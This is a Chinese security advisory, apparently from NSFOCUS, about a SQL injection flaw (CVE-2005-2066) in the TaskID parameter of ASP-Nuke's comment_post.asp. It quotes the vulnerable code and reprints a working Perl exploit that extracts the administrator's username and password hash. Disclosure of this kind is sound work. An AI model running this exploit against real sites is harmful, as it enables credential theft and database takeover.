首页 -> 安全研究
安全研究
安全漏洞
ASP-Nuke comment_post.asp远程SQL注入漏洞
发布日期:2005-06-28
更新日期:2005-06-28
受影响系统:
ASP-Nuke ASP-Nuke <= 0.80描述:
BUGTRAQ ID: 14064
CVE(CAN) ID: CVE-2005-2066
ASP-Nuke是一款开放源码的软件应用,可在Web Server上运行基于社区的站点。
ASP-Nuke中存在SQL注入漏洞,远程攻击者可以利用此漏洞非授权访问数据库。
起因是没有正确的过滤用户输入。请看/module/support/task/comment_post.asp的第36行和第75行代码:
<?
...
nTaskID = steNForm("TaskID")
...
If sErrorMsg = "" Then
' prevent dup posting here
sStat = "SELECT TaskID " &_
"FROM tblTaskComment " &_
"WHERE TaskID = " & nTaskID & " " &_
"AND Subject = '" & Replace(sSubject, "'", "''") & "' " &_
"AND Body LIKE '" & Replace(sBody, "'", "''") & "'"
...
?>
可见对TaskID参数没有任何控制,而该参数的值未经过滤便放到了SQL查询中,导致SQL注入攻击。
成功利用这个漏洞的攻击者可以完全控制基础数据库系统。
<*来源:Alberto Trivero (trivero@jumpy.it)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111989223906484&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#
# SQL Injection Exploit for ASPNuke <= 0.80
# This exploit show the username of the administrator of the board and his password crypted in SHA256
# Related advisory: http://www.securityfocus.com/archive/1/403479/30/0/threaded
# Discovered and Coded by Alberto Trivero
use LWP::Simple;
print "\n\t===============================\n";
print "\t= Exploit for ASPNuke <= 0.80 =\n";
print "\t= by Alberto Trivero =\n";
print "\t===============================\n\n";
if(@ARGV!=1 or !($ARGV[0]=~m/http/)) {
print "Usage:\nperl $0 [full_target_path]\n\nExamples:\nperl $0 http://www.example.com/aspnuke/\n";
exit(0);
}
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Username") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] Username of admin is: $1\n";
print "[-] Unable to retrieve Username\n" if(!$1);
$page=get($ARGV[0]."module/support/task/comment_post.asp?TaskID=Password") || die "[-] Unable to retrieve: $!";
$page=~m/the varchar value '(.*?)' to a column/ && print "[+] SHA256 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
建议:
厂商补丁:
ASP-Nuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.asp-nuke.com/downloads.asp
浏览次数:3160
严重程度:0(网友投票)
绿盟科技给您安全的保障